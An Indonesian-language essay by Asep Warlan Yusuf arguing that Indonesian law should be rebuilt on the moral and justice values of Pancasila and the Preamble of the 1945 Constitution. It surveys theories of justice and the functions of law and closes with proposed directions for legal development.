Menemukan Kembali Watak Hukum Pancasila

Oleh:  Asep Warlan Yusuf

Roda reformasi yang digerakkan enam belas tahun yang lalu, ternyata masih belum menampakkan adanya transformasi kehidupan berbangsa dan bernegara ke arah yang lebih baik, kecuali melahirkan kebebasan dalam berbagai aspeknya. Hal ini dengan sangat demonstratif dan kasat mata ditunjukkan oleh berbagai fenomena menyedihkan, seperti kesusahan hidup masyarakat kecil yang tetap merana, rasa keadilan diinjak-injak oleh aparatur hukum sendiri yang meluluhlantakkan kepercayaan masyarakat pada hukum, partai politik semakin pragmatis, irasional, disfungsional, dan disorientasi, kaum intelektual mengoyak martabatnya sendiri dengan “menggadaikan” idealismenya, kaum agamawan asyik sendiri dengan urusan teknis beribadat, pengusaha cenderung “berebut” jadi penguasa sehingga terjadi konflik kepentingan, media massa nyaris kehilangan greget karena dilanda kelelahan kreativitas, serta terjadi ignoransi dan resistensi pejabat terhadap kritik.

Nyaris setiap hari kita disuguhi sajian di televisi atau koran bagaimana kekerasan dipertunjukkan dengan mengenaskan dan mengharu biru. Bentrokan berdarah-darah antara polisi dengan mahasiswa atau masyarakat, yang konon mereka mengatasnamakan demokrasi. Bagaimana kita saksikan dengan kasat mata penyelesaian masalah politik (pilkada) di berbagai daerah dilakukan dengan mengerahkan massa yang berujung pada bentrokan di antara para pendukung. Musyawarah dalam proses pengambilan keputusan yang diajarkan oleh Agama, Pancasila, dan UUD 1945 nyaris ditanggalkan dari watak kepribadian kita.

 

Perlu kiranya mempertegas konsep-konsep kunci yang harus terelaborasi lebih aplikatif, detail dan implementatif, yakni bagaimana membangun fondasi hukum yang lebih rasional dengan muatan moral yang kental, serta bagaimana membumikan idealisme demokrasi yang berwajah keadaban ke dalam kehidupan politik praktis.

 

Mengapa jawabannya adalah muatan moral di dalam hukum yang rasional guna mengatur kehidupan demokrasi yang besendikan nilai-nlai keadaban? Karena perihal moral merupakan penopang utama dalam pembangunan masyarakat yang bermartabat dan memiliki harga diri. Suatu keniscayaan bahwa negeri ini akan tegak mandiri, maju, dan sejahtera bila moral para  pemimpinnya baik. Hal ini juga telah dilafadzkan dengan lugas oleh para founding fathers kita dengan mengatakan bahwa meskipun hukum masih terumuskan relatif sederhana dan belum lengkap mengatur ihwal ketatanegaraan yang holistik, namun apabila semangat (moralitas, integritas, kompetensi) para penyelenggara (aktor/pelaku) pemerintahan baik, maka baik pulalah jalannya pemerintahan. Jadi yang terpenting adalah moralitas, budi pekerti yang luhur yang menjadi pilar utamanya.

 

Secara ilustratif dapat digambarkan bahwa dalam peristiwa Perang Duni II tentara Jerman di bawah kepemimpinan Hitler berhasil menaklukkan dan mengalahkan pasukan Perancis. Menyaksikan itu salah seorang pemimpin Perancis di Parlemen mengatakan “Perancis diserang dan kalah bukan karena kelemahan, sedikitnya jumlah pasukan atau kemunduran industri dan kurang bagusnya hasil-hasil industri, melainkan disebabkan dekadensi (kemerosotan) moral, tidak fokus pada tujuan, hilangnya keteladanan, matinya hati nurani, ceroboh dalam menentukan sasaran, dan meluasnya fitnah. Semua itu telah menyebabkan kita (Perancis) terpuruk seperti sekarang ini”.

 

Begitu pula dengan kekalahan yang dialami bangsa Arab dalam peperangan tahun 1967 melawan tentara Zionis. Saat itu, kekuatan Zionis telah menampar sekaligus memberi pelajaran kepada bangsa Arab perihal pentingnya berpegang pada moralitas sebelum mengasah kecakapan dalam bidang militer. Hal ini menunjukkan bahwa sekalipun memiliki strategi politik dan militer yang sangat maju, mereka tetap harus menelan kekalahan. Dan itu tak lain diakibatkan oleh kemerosotan moral.

 

Nilai penting moral juga berdampak pada prilaku individu manusia dengan segala sesuatu yang berkaitan dengannya. Barangkali dapat dikatakan bahwa prilaku manusia senantisa selaras dengan watak yang tertanam dalam jiwa. Sebagaimana dikatakan oleh Abu Hamid Al Gazali bahwa “sesungguhnya semua sifat manusia tertanam dalam lubuk hatinya. Namun pengaruh yang ditimbulkannya akan terlihat dengan jelas pada anggota tubuh. Karenanya, seseorang tidak bergerak melainkan sesuai dengan sifat dalam hatinya”.

 

Het volks is redeloos, de regering is radeloos, het land is reddeloos (Rakyat kehilangan daya pikir sehat, pemerintah kehilangan akal, negara kehilangan harapan). Perkataan orang Belanda pada abad ke 18  ini, nampaknya masih relevan untuk diucap ulang pada era reformasi sekarang ini, yang memang persis rakyat dan pemerintah kita sedang dilanda kehilangan akal sehat dan harapan.

 

Kita berkeyakinan bahwa langkah yang ditempuh oleh para pembaharu dalam upaya membenahi dan memperbaiki Negeri ini adalah dengan membangun dan menyucikan jiwa serta menanamkan nilai-nilai moral yang terpuji. Simultan dengan itu, membangun etika keadaban (civil ethics) dalam masyarakat merupakan common platform yang menjadi komitemen bersama, sehingga pada gilirannya ia akan berselancar serasi dan dinamis dalam gelombang demokrasi (democratic wave) yang kini tengah dibangun. Dengan demikian melalui democratic civility (masyarakat demokratis yang berkeadaban)  yang menjunjung moralitas, maka good governance dan positive citizenry (kewargaan yang positif) akan dapat diwujudkan. Hal ini sangat perlu dan penting sebagai prasyarat pokok dalam rangka mewujudkan negara hukum yang berkeadilan, negara demokrasi yang berkeadaban, dan bermuara pada negara kesejahteraan yang berkemakmuran.

  

Tujuan hukum tidak bisa dilepaskan dari tujuan akhir hidup bernegara dan bermasyarakat yang tidak dapat dilepaskan dari nilai-nilai dan falsafah hidup   masyarakat itu sendiri, yakni keadilan (rechtsvaardigheid atau justice). Dengan demikian keberadaan hukum merupakan sarana untuk mewujudkan kebahagiaan dan kesejahteraan hidup lahir batin dalam kehidupan bersama.

 

Melalui dan dengan hukum, individu atau masyarakat dapat menjalani hidup dan kehidupan secara layak dan bermartabat. Dengan demikian dalam setiap masyarakat senantiasa diperlukan keberadaan hukum bagaimanapun sederhananya. Oleh karenanya bagi Indonesia dapat dipastikan bahwa pembangunan di segala bidang, senantiasa memerlukan tatanan hukum dan tata perundang-undangan yang mampu memenuhi rupa-rupa tuntutan masyarakat dan zaman. Untuk menjawab kebutuhan tersebut, maka hukum yang dapat berperan adalah hukum yang teratur dan tanpa menindas martabat kemanusiaan setiap warga masyarakat. Atau dengan kata lain yang dibutuhkan adalah hukum yang senantiasa mengabdi kepada kepentingan keadilan, ketertiban, keteraturan, dan kedamaian guna menunjang terwujudnya masyarakat yang sejahtera lahir batin. Tanpa kecuali, penyelenggara negara pun harus tunduk pada hukum, dan semua perbuatan hukum yang dilakukannya harus mendapat legitimasi secara normatif.

 

Namun secara khusus masalah hukum di Indonesia dihadapkan kepada tantangan untuk mengembalikan hukum sebagai norma tertinggi baik bagi warga negara maupun bagi negara. Memulyakan hukum yang berkeadilan dimaknai dengan sikap dasar insan Indonesia untuk mengakui, menghormati, dan menempatkan hukum yang berintikan keadilan di atas kepentingan politik dalam tatanan kehidupan bernegara dan bermasyarakat. Memulyakan hukum dalam kehidupan alam demokrasi berarti bahwa dalam membentuk hukum harus dilakukan melalui proses yang aspiratif, akomodatif, partisipatif, dan kolaboratif dengan tetap mengedepankan kepentingan bangsa dan Negara.  Hal ini relatif sulit ketika yang hadir adalah legislative dictatorship. Keras kepala dan ngototnya DPR dalam membentuk produk undang-undang yang masih mengandung dan mengundang kontroversi (tidak sejalan dengan aspirasi masyarakat luas) ditengarai memang parlemen kita lebih mengutamakan kepentingan ”politik” sesaat (baca: uang, materi dan posisi) ketimbang kepentingan bangsa dan Negara.

Meskipun beberapa kemajuan telah dicapai di bidang hukum, namun masih banyak didapati produk hukum yang tidak sejalan satu dengan lainnya. Selain itu juga masih terdapat produk hukum yang tidak sesuai lagi dengan perkembangan keadaan sehingga menimbulkan resistensi di dalam penerapannya. Sementara itu terjadi peningkatan apatisme masyarakat terhadap penegakan hukum yang dianggap telah meninggalkan nilai-nilai keadilan, diskriminatif serta kehilangan imparsialitasnya di dalam menangani berbagai kasus. Akumulasi kekecewaan masyarakat terhadap penegakan hukum berada pada tahap yang memprihatinkan, sehingga menjauhkan dari upaya untuk mewujudkan supremasi hukum. Selanjutnya tingkat kesejahteraan aparatur hukum yang masih relatif kecil, seolah menjadi dasar pembenaran terjadinya korupsi, kolusi dan nepotisme (KKN), sehingga penegakan hukum tidak dapat dilakukan secara optimal. Kondisi ini berpengaruh buruk terhadap upaya pembangunan hukum yang rasional.

 

Moral Hukum Hukum Pancasila

Sudah disepakati secara utuh dan bulat oleh segenap bangsa Indonesia bahwa isi yang terkandung dalam Pembukaan UUD 1945 sebagai norma fundamental negara (staatsfundamentalnorm) tidak akan diubah bahkan akan dilaksanakan secara murni dan konsekuen. Oleh karena itu norma-norma fundamental dalam Pembukaan UUD 1945 harus benar-benar tercermin dalam hukum yang akan dibangun dan diterapkan, sehingga hukum yang terbangun tersebut tidak boleh sedikitpun terjadi penyimpangan, bias, deviasi, kontradiksi dengan nilai-nilai yang terkadung dalam Pembukaan UUD 1945.  Dengan demikian, materi muatan Pembukaan UUD 1945 seharusnya  menjadi landasan, rujukan, patokan, pedoman dan sekaligus sumber hukum utama bagi  perencanaan hukum Nasional.

 

Di dalam Pembukaan UUD 1945 memuat Pancasila (Negara Berketuhanan), prinsip-prinsip dasar hak-hak asasi manusia, keadilan (Negara Hukum), kedaulatan rakyat (Negara Demokrasi), serta tugas dan kewajiban Pemerintah (semua lembaga-lembaga negara) untuk mewujudkan Negara Kesejahteraan yang meliputi melindungi tumpah darah Indonesia, menyejahterakan rakyat, mencerdaskan kehidupan bangsa, dan ikut melaksanakan ketertiban dunia.

 

Nilai-nilai Pancasila sebagaimana pernah dinayatkan dalam Ketetapan MPRS No. XX/MPRS/1966, pada hakikatnya adalah pandangan hidup, kesadaran, dan cita hukum serta cita-cita moral luhur yang meliputi suasana kejiwaan, serta watak bangsa Indonesia. Dilihat dari kedudukannya, Pancasila sumber hukum yang paling tinggi, yang berarti menjadikan Pancasila sebagai ukuran dalam menilai hukum kita. Aturan-aturan hukum yang diterapkan dalam masyarakat harus mencerminkan kesadaran dan rasa keadilan sesuai dengan kepribadian dan falsafah hidup bangsa Indonesia.

Mengapa Pancasila dikualifikasi sebagai sumber sumber dari segala sumber hukum dalam kehidupan berbangsa dan bernegara? Karena dalam sila-sila Pancasila dengan tegas menyebut kata ‘adil’ dalam sila kedua dan ‘keadilan’ dalam sila kelima. Dengan demikian Pancasila adalah identik dengan keadilan bagi bangsa Indonesia.

 

Tujuan hukum tidak bisa dilepaskan dari tujuan akhir dari hidup bermasyarakat yang tidak dapat dilepaskan dari nilai-nilai dan falsafah hidup Pancasila, yang menjadi dasar hidup masyarakat yang akhirnya bermuara pada keadilan.[1]  Hukum harus mengandung nilai keadilan bagi semua orang. Mengartikan keadilan memang tidak mudah. Keadilan diartikan begitu beragam, suatu kata yang sangat tidak jelas, sarat dengan berbagai arti, dan tidak begitu mudah kita mencernanya.[2] Ulpianus mengatakan keadilan adalah kemauan yang bersifat terus menerus untuk memberikan kepada setiap orang apa yang semestinya dimiliki. Aristoteles mengartikan keadilan dengan memberikan kepada seseorang apa yang menjadi haknya (due) atau sesuatu yang menjadi miliknya. Menurut Hart, keadilan dan moralitas adalah sebagai berdampingan (koeksistensif), meskipun fakta berbicara bahwa keadilan adalah bagian tersendiri dari moralitas. Sedangkan David Hume menyatakan bahwa keadilan adalah aturan-aturan di mana barang-barang materil (kepemilikan/kemakmuran) ditujukan kepada individu-individu, dan moralitas keadilan terlihat dengan menghormati kepemilikan itu tanpa melakukan tindakan-tindakan memperoleh barang orang yang diperoleh secara tidak sah dan dikembalikan kepada pemiliknya.

 

Berbeda dengan Helbert Spencer, bahwa yang paling kuatlah yang harus didahulukan dan berhak mendapatkan keadilan, karena yang berhak untuk keadilan adalah mereka yang pertama memiliki nilai-nilai produktif dan kemakmuran.  Sebagai penganut faham survival of the fittest (spesies yang kuat itulah yang mampu mempertahankan kelestariannya), menurut Herbert Spencer, anggota-anggota masyarakat yang tidak produktif, supaya diletakan pada posisi paling bawah.[3]

 

John Rawls mengatakan keadilan sebagai kesetaraan (justice is fairness), di mana perlu adanya keadilan yang diformalkan melalui konstitusi dan/atau hukum sebagai landasan pelaksanaan hak dan kewajiban dari tiap individu dalam pergaulan sosial. Keadilan formal demikian menuntut kesamaan minimum bagi segenap masyarakat.[4] Dalam keadilan, menurut John Rawls, dibutuhkan tiga tuntutan moral. Pertama, kebebasan untuk menentukan diri sendiri, sekaligus juga independensi kepada pihak lain. Kedua, pentingnya distribusi yang sifatnya adil atas semua kesempatan, peranan, kedudukan, serta manfaat-manfaat atau nilai-nilai sosial asasi yang terdapat di masyarakat. Ketiga, tuntutan distribusi kebebasan dan kewajiban secara adil.[5]

 

Selanjutnya, menurut John Rawls, setiap orang memiliki hak menikmati nilai-nilai dan sumber daya sosial yang sama, namun sekaligus pula memiliki kewajiban untuk menciptakan kemungkinan yang membawa manfaat bagi masyarakat secara keseluruhan. Tiga hak dan kewajiban dari setiap anggota masyarakat yakni, satu, keadilan dalam penataan ekonomi; dua, penataan sistem sosial dasar, dan tiga, kontribusi secara adil antar generasi.[6]

 

Faham keadilan John Rawls mendapat inspirasi paham keadilan yang bersifat kontrak dari John Locke, Rousseau, dan Immanuel Kant sebagai para pendahulunya. John Locke, filsuf Inggris, terkenal karena mempertahankan hak milik pribadi secara moral. Hak untuk memiliki, menurut Locke, menjamin hak orang untuk memperoleh kehidupan yang layak dengan tenaganya sendiri. Dalil demikian dikemukakan berdasarkan tiga hal pemikiran. Pertama, Tuhan memberikan dunia kepada manusia secara bersama-sama; kedua, sejak manusia dilahirkan, ia sudah berhak untuk dilindungi, maka berhak untuk makan dan minum, serta hak-hak lain yang diberikan oleh alam untuk kelangsungan hidupnya; ketiga, setiap orang merupakan dirinya sendiri. Hak milik seseorang sebanyak tanah yang mampu diolahnya, dihasilkan atau dimanfaatkannya, berarti merupakan bagiannya sendiri, dan hakikatnya ia telah mengeluarkan tanah itu dari hak milik bersama.

 

Berdasarkan pengertian-pengertian keadilan tersebut, dapat disimpulkan bahwa keadilan adalah suatu tuntutan mengenai sesuatu yang esensial dari setiap individu sebagai haknya yang tidak boleh dilanggar/dihalangi dan dijamin melalui formula hukum yang berisi hak dan kewajiban dalam pergaulan sosial. Keadilan dapat ditransformasikan melalui berbagai kepentingan kehidupan; fisik dan lahiriah; ekonomi, sosial, politik, kebudayaan, keagamaan, dan spiritualitas.

 

Dengan demikian keberadaan hukum merupakan sarana untuk mewujudkan kebahagiaan dan kesejahteraan hidup lahir batin dalam kehidupan sesama. Beberapa pendapat atau teori dapat diketengahkan berkenaan dengan tujuan dan fungsi hukum ini,  sekurangnya terdapat dua teori tergolong klasik yang patut untuk disimak,  yakni Teori Etis dan Teori Utilitas. Sedangkan teori lainnya hanya merupakan varian atau kombinasi dari kedua teori ini. Teori Etis, yang dipelopori oleh Aristoteles, berpendapat bahwa tujuan hukum adalah untuk mewujudkan keadilan (rechtsvaardigheid atau justice) baik keadilan distributif maupun keadilan komutatif. Sedangkan Teori Utilitas menekankan bahwa tujuan hukum adalah untuk mewujudkan apa yang berfaedah atau berguna (doelmatig) bagi orang, yakni mewujudkan kebahagiaan sebanyak-banyaknya bagi sebanyak mungkin orang. Pelopor teori ini adalah Jeremy Bentham.

 

Kedua teori di atas pada dasarnya mengandung kelemahan yang sama, yakni terlalu berat sebelah.  Teori Etis yang sangat mementingkan keadilan cenderung mengabaikan kepastian hukum (rechtszekerheids). Kecenderungan pengabaian terhadap kepastian hukum perlu dicermati mengingat dapat berakibat destruktif karena akan mengganggu aspek ketertiban. Padahal justru di dalam ketertiban suatu keadilan dapat diwujudkan dengan baik. Sebaliknya, Teori Utilitas cenderung mengabaikan keadilan dengan sangat mementingkan kepastian hukum. Adanya kecenderungan pengabaian terhadap keadilan, juga akan berakibat destruktif mengingat hukum akan identik dengan kekuasaan. Sehubungan dengan kelemahan kedua teori tersebut, maka dewasa ini banyak pendapat yang berusaha mengkombinasikan teori etis dan utilitas. Untuk kasus Indonesia, upaya kombinasi ini misalnya dapat disebut Teori Pengayoman. [7]

 

Menurut Teori Pengayoman,  implementasi dalam tatanan hukum nasional harus bercirikan responsif terhadap perkembangan dan aspiratif terhadap pengharapan masyarakat. Atau dengan kata lain, hukum ditujukan untuk menciptakan kondisi kemasyarakatan yang manusiawi, sehingga memungkinkan proses-proses kemasyarakatan berlangsung secara wajar. Dengan demikian, secara adil setiap manusia memperoleh kesempatan yang luas untuk mengembangkan seluruh potensi (lahiriah dan batiniah) kemanusiaannya secara utuh. Adapun usaha mewujudkan pengayoman ini akan mencakup: (1) ketertiban dan keteraturan yang memunculkan prediktabilitas; (2) kedamaian yang berketenteraman; (3) keadilan yang meliputi: keadilan distributif,[8] keadilan komutatif, [9] keadilan vindikatif,[10] dan keadilan protektif;[11] (4) kesejahteraan dan keadilan sosial; (5) pembinaan  akhlak luhur berdasarkan Ketuhanan YME.[12]

 

Khusus menyangkut kedamaian yang sejati akan terwujud manakala setiap warga masyarakat dapat merasakan ketenteraman lahir batin. Sedangkan ketenteraman akan diperoleh manakala setiap anggota masyarakat merasa yakin bahwa:

  • kelangsungan hidup dan pelaksanaan hak tidak bergantung pada kekuatan semata (fisik dan non fisik);
  • sepanjang tidak melanggar hak dan merugikan orang lain, di mana tanpa rasa khawatir warga masyarakat:
  • dapat secara bebas menjalankan apa yang diyakininya sebagai kebenaran;
  • dapat secara bebas mengembangkan bakat kesenangannya;
  • dapat merasa diperlakukan secara wajar, berperikemanusiaan, adil, dan beradab sekalipun pada waktu melakukan kesalahan.[13]

 

Sejalan dengan tujuan hukum tersebut, maka hal penting dan mendasar lainnya yang patut dicermati adalah berkenaan dengan fungsi hukum itu sendiri. Beberapa sumber kepustakaan menampakkan adanya nuansa keragaman pendapat tentang fungsi hukum. Kenyataan  demikian tentunya akan melahirkan gagasan-gagasan yang akan saling melengkapi. Joseph Raz mengemukakan empat fungsi utama dari hukum (there are four primary functions), yakni[14]: (1) Preventing undesirable behaviour and securing desirable behavior; (2) Providing facilities for private arrangement between individuals; (3) The provision of service and the redistribution of goods; (4) Settling unregulated disputes.

 

Hampir senada dengan pendapat di atas, N.E Algra (et.al) menguraikan bahwa fungsi hukum dalam masyarakat ada tiga. Pertama, hukum merupakan suatu alat untuk membagikan hak dan kewajiban di antara para anggota masyarakat. Kedua, hukum  merupakan pendistribusian wewenang untuk mengambil keputusan mengenai soal publik, soal umum (bukan privat) seperti halnya Yoseph Raz,  AWY). Ketiga  hukum ialah  aturan  yang menunjukkan suatu jalan bagi penyelesaian pertentangan atau konflik yang dapat dipaksakan.[15]

Melengkapi pendapat di atas, J.F Glastra van Loon menguraikan bahwa fungsi hukum pada pokoknya adalah:[16] (1) penertiban (penataan) masyarakat, pengaturan pergaulan hidup (interrelasi dan interaksi antarmanusia); (2) penyelesaian pertikaian; (3) memelihara dan mempertahankan tata tertib dan aturan-aturan, jika perlu dengan kekerasan; (4) pengaturan hal memelihara dan mempertahankan itu; (5) pengubahan tata tertib dan aturan dalam rangka penyesuaian pada kebutuhan masyarakat; (6) pengaturan hal perubahan itu.

 

Berkenaan dengan fungsi hukum dalam konteks pembangunan, diungkapkan oleh Sunaryati Hartono sebagai: (1) pemelihara ketertiban dan keamanan; (2) sarana pembangunan; (3) sarana penegak keadilan; (4) sarana pendidikan masyarakat.[17]

 

Melihat hukum secara fungsional pada akhirnya hukum dimengerti sebagai kumpulan nilai-nilai kehidupan, yang mengandung kadar kesadaran hukum masyarakat dan pengayom dalam kehidupan bernegara dan bermasyarakat.  Setelah dilakukan pengujian dan pengkajian terhadap tujuan dan fungsi hukum seperti terurai di atas, menjadi jelas bahwa  suatu yang mustahil apabila hidup  tanpa adanya hukum. Melalui dan dengan hukum, maka individu atau masyarakat dapat menjalani hidup dan kehidupan secara layak dan bermartabat.

 

Dengan demikian dalam setiap masyarakat senantiasa diperlukan keberadaan hukum bagaimanapun sederhananya. Oleh karenanya bagi Indonesia dapat dipastikan bahwa pembangunan di segala bidang, senantiasa memerlukan tatanan hukum dan tata perundang-undangan yang mampu memenuhi rupa-rupa tuntutan masyarakat dan zaman. Untuk menjawab kebutuhan tersebut, maka hukum yang dapat berperan adalah hukum yang teratur dan tanpa menindas martabat kemanusiaan setiap warga masyarakat. Atau dengan kata lain yang dibutuhkan adalah hukum yang senantiasa mengabdi kepada kepentingan keadilan, ketertiban, keteraturan, dan kedamaian guna menunjang terwujudnya masyarakat yang sejahtera lahir batin. Tanpa kecuali pemerintah pun harus tunduk pada hukum, dan semua perbuatan hukum yang dilakukan oleh pemerintah harus mendapat legitimasi secara normatif.

 

 

Rupanya tidak dapat dihindari bahwa bola salju perubahan kelima UUD 1945 sudah bergulir dan kian membesar dan menguat. Terjadinya perubah struktur lembaga-lembaga negara yang mendasar dan sekaligus pula diubah kewenangan, tugas, dan kewajiban dari lembaga-lembaga negara tersebut, ternyata belum cukup mampu untuk menjamin terwujudnya negara hukum yang berkeadilan, negara demokrasi yang berkeadaban, dan negara kesejahteraan yang berkemakmuran secara merata.

 

Sudah disepakati secara utuh dan bulat oleh segenap bangsa Indonesia bahwa isi yang terkandung dalam Pembukaan UUD 1945 sebagai norma fundamental negara (staatsfundamenteelnorms) tidak akan diubah bahkan akan dilaksanakan secara murni dan konsekuen. Oleh karena itu norma-norma fundamental dalam Pembukaan UUD 1945 harus benar-benar tercermin kedalam Pasal-pasal (Batang Tubuh) UUD 1945, yang tidak boleh sedikitpun terjadi penyimpangan, bias, deviasi, kontradiksi dengan nilai-nilai yang terkadung dalam Pembukaan UUD 1945.  Dengan demikian, materi muatan Pembukaan UUD 1945 seharusnya  menjadi landasan, rujukan, patokan, pedoman dan sekaligus sumber hukum utama bagi materi muatan dalam Pasal-pasal UUD 1945.

 

Dari substansi Pembukaan UUD 1945 tersebut, maka norma dasar apa saja yang harus ada dalam Pasal-pasal UUD 1945. Di dalam Pembukaan UUD 1945 memuat Pancasila (Negara Berketuhanan), prinsip-prinsip dasar hak-hak asasi manusia, keadilan (Negara Hukum), kedaulatan rakyat (Negara Demokrasi), serta tugas dan kewajiban Pemerintah (semua lembaga-lembaga negara) untuk mewujudkan Negara Kesejahteraan yang meliputi melindungi tumpah darah Indonesia, menyejahterakan rakyat, mencerdaskan kehidupan bangsa, dan ikut melaksanakan ketertiban dunia.

 

Penjabaran dalam Pasal-pasalnya, sebagai Negara Berketuhanan maka ada jaminan terhadap kebebasan beragama dan berkeyakinan kepada Tuhan YME. Norma agama harus menjadi landasan moral yang  tercermin dalam Pasal-pasal UUD 1945, sehingg tidak boleh ada norma UUD yang bertentangan dengan norma agama. Dalam UUD 1945 yang belaku sekarang ini (hasil Amandemen I-IV) nampkanya sudah cukup mencerminkan apa yang menjadi persyaratan pokok sebagai Negara Berketuhahan. Adapun terjadi letupan dan riak kecil dalam pembangunan rumah ibadah atau gesekan antar pemeluk agama, hal tersebut lebih disebabkan karena kurangnya pemahaman dalam beragama maupun berkonstitusi.

 

Sebagai Negara Hukum maka harus ada lembaga kehakiman (yudisial) yang dijamin kemerdekaannya dari intervensi lembaga negara lain, jaminan kualitas dan integritas  hakim, jaminan hak-hak asasi manusia, UUD 1945 menjadi tolok ukur dalam penyelengaraan Negara, jaminan hukum yang memberikan pengayoman dan perlindungan bagi semua warga negara secara adil, jaminan bagi terwujudnya  pemerintahan yang bersih, jujur, dan adil. Dalam konteks UUD 1945 yang berlaku, nampaknya cerminan dari negara hukum yang berkeadilan relatif sudah memadai. Terkait dengan keberadaan Komisi Yudisila (KY), sebaiknya tidak dimasukkan dalam Bab Kekuasaan Kehakiman, karena KY bukan pemegang kekuasan kehakiman sebagamana halnya MA dan MK. Juga lingkungan badan-badan peradilan di bawah MA sebaiknya tidak disebutkan dalam UUD 1945.

 

Sebagai Negara Demokrasi ada beberapa yang perlu dipastikan mengenai pelembagaan demokrasi yang benar-benar mencerminkan nilai-nilai Pancasila. Pelembagaan demokrasi meliputi lembaga perwakilan (yang meliputi antara lain kedudukan, fungsi, tugas dan wewenang, cara pengisian, pertanggungjawaban, dan hubungan antarlembaga), partai politik, pemilihan umum (pemilu), dan lembaga penyelenggara pemilu.

 

Arah Kebijakan Negara Hukum Berbasis Pancasila

Paradigma baru harus dibangun juga untuk menjadi spirit hukum Indonesia yang modern adalah mengganti semua perangkat aturan hukum yang berasal dari masa Hindia Belanda dengan peraturan perundang-undangan nasional sambil memperbaiki dan meningkatkan mutu kehidupan hukum, termasuk praktek peradilannya. Terselenggaranya kehidupan hukum yang bermutu akan mencitakan kesempatan yang sama bagi setiap warga negara untuk mengembangkan diri secara optimal yang akan mendorong kreativitas dan memungkinkan semua fungsi hukum terlaksana, khususnya fungsi sebagai sarana perubahan masyarakat.

 

Pembangunan hukum yang direncanakan secara cermat harus diarahkan untuk membangun tatanan hukum nasional yang modern dengan mengacu pada cita hukum Pancasila, yang mampu memberikan kerangka dan saluran-saluran hukum yang efisien dan responsif bagi penyelenggaraan kehidupan masa kini dan masa depan.

 

Pembangunan hukum tersebut, harus dilihat sebagai suatu proses internalisasi dan adanya kesadaran terhadap nilai-nilai yang terkandung dalam Pancasila, UUD 1945, NKRI dan Bhineka tunggal ika untuk selanjutnya diimplementasikan dalam kehidupan sehari-hari. Dalam proses tersebut dapat saja distimulasi dan dipengaruhi oleh nilai-nilai dari luar (liberlisme, sosialisme, dan Islamisme) tetapi tidak diartikan sebagai sebuah pemaksaan dan kehendak pihak luar dengan menggunakan berbagai cara antara lain kekuasaan, ekonomi, pendidikan dan sebagainya, seperti yang dilakukan oleh aktor ditingkat internasional maupun nasional.

Pembangunan hukum yang diwujudkan dalam pengertian struktur sistem hukum  diarahkan pada orientasi pembenahan pembenahan peradilan (judicial reform) dan reformasi aparatus penegak hukum (law enforcement apparatus reform) harus berjalan lebih cepat ketimbang reformasi perundang-undangan (legislation reform).

 

Pembangunan hukum diarahkan pada subtansi hukum (berupa produk peraturan perundang-undangan yang dibuat dan/atau disetujui oleh legislatif bersama eksekutif) yang ditujukan untuk kepentingan rakyat, meskipun pada kenyataannya legislatif memproduk hukum diarahkan untuk kepentingan pengusaha (kepentingan elite), karena sebagian besar berdasarkan konfigurasi keanggotaannya legislatif berasal dari penguasaha, maka pada titik ini terjadi “perkawinan haram” antar pengusaha dengan penguasa (eksekutif), yaitu menjadikan peraturan perundang-undangan sebagai instrumen kekuaasaan untuk mencapai kepentinganya.

 

Pembangunan hukum yang berhubungan dengan budaya hukum, dapat dijelaskan bahwa norma atau kaedah yang dituliskan dalam peraturan perundang-undangan atau aturan kebijakan (beleid regel), tidak sepenuhnya bisa dijalankan dan ditegakan menurut logika hukum melainkan sangat dipengaruhi oleh kepentingan, persepsi, sikap dan budaya masyarakat yang tercermin dalam kepercayaan, nilai, pemikiran dan harapanya. Karena itu, pembangunan hukum yang diwujudkan dalam budaya hukum (culture law) diarahkan untuk:

  1. membangun kesadaran masyarakat terhadap persoalan kolektif yang dihadapi untuk menghasilkan aksi-aksi kolektif yang dapat memperbaiki kualitas kehidupan mereka (Collective undertakings)
  2. membangun kesadaran individu maupun kelompok untuk membangun kekuatan individu dan masyarakat agar mampu mengepresikan diri didalam hubungannya dengan kekuatan besar yang menindasnya (self expression)
  3. membangun kesadaran hukum dalam suatu komunitas agar setiap individu didalam berhubungan dengan satu sama lain atas dasar ikatan “kewajiban bersama” (matual obligation) untuk mempertahankan integritas, pluralisame, harmonisasi, dan keutuhan NKRI.
  4. dalam kaitanya dengan ekonomi (kesejahteraan) harus menolak keadilan berdasarkan pasar karena ukuranya bukan keadilan yang berasas pemerataan. Prinsip keadilan harus fairness dan ditentukan melalui konsesus bersama yang dicapai dari hasil proses tawar menawar yang setara, equal bargaining (Jhon Rawls 1978) sebagaimana dinyatakan dalam UUD 1945 semua warga negara mempunyai kedudukan yang sama dalam hukum dan pemerintahan, dan Pasal 33 UUD 1945
  5. dalam kaitanya dengan demokrasi, politik (kekuasaan) maka baik demokrasi, maupun kekuasaan merupakan produk hukum yang bertitik tolak pada Pancasila, UUD 1945, NKRI dan Bhineka tunggal ika.

Tema Yang Harus Diperjuangkan

  1. Memperjuangkan hukum dalam Negara Pancasila, dengan ciri-ciri sebagai berikut:
    1. Penggunaan kekuasaan harus selalu ada landasan hukumnya dan kerangka batas-batas yang ditetapkan oleh hukum (Rule by law and Rule of Law)
    2. Demokrasi inklusif, yang bertitik tolak pada demokrasi Pancasila yang tidak korporatis, tidak otoriter dan tidak ekslusif, melainkan pengakuan kesamaan derajat politik yang tidak memandang latar belakang etnis, rasa, agama, tingkat pendidikan, status sosial ekonomi dan sebagainya supaya semua orang dapat melaksanakan hak dan kewajibannya tanpa hambatan. Selain itu, demokrasi inklusif memberikan kesempatan yang sama kepada semua orang untuk maju, sejahtera, hidup aman dan berprestasi.

 

Demokrasi yang terbuka bagi partisipasi masyarakat, yang didalam pelaksanaan kewenangan dan penggunaan kekuasaan publik harus dipertanggungjawabkan kepada rakyat dan harus selalu tebuka bagi pengkajian rasional oleh semua pihak dalam kerangka tata nilai dan tatanan hukum yang berlaku. Selain itu, badan kehakiman menjalankan kewenangannya secara bebas, dan birokrasi pemerintahan lain tunduk pada putusan badan kehakiman, serta masyarakat dapat mengajukan tindakan birokrasi pemerintahan ke pengadilan. Pemerintah terbuka bagi pengkajian kritis oleh Badan Perwakilan Rakyat dan masyarakat berkenan dengan kebijakan dan tindakan-tindakannya.

 

  1. Mewujudkan kesejahteraan lahir-bathin bagi rakyat dengan selalu mengacu pada nilai-nilai martabat manusia dan Ketuhan YME

 

  1. Memperjuangkan hukum yang responsif dalam arti peranan arah perkembangan hukum terletak pada lembaga peradilan yang disertai partisipasi luas kelompok-kelompok sosial atau individu-individu dalam masyarakat sehingga pembagunan hukum akan menghasilkan hukum yang bersifat responsif terhadap tuntutan luas kelompok-kelompok sosial atau individu-individu di dalam masyarakat.

 

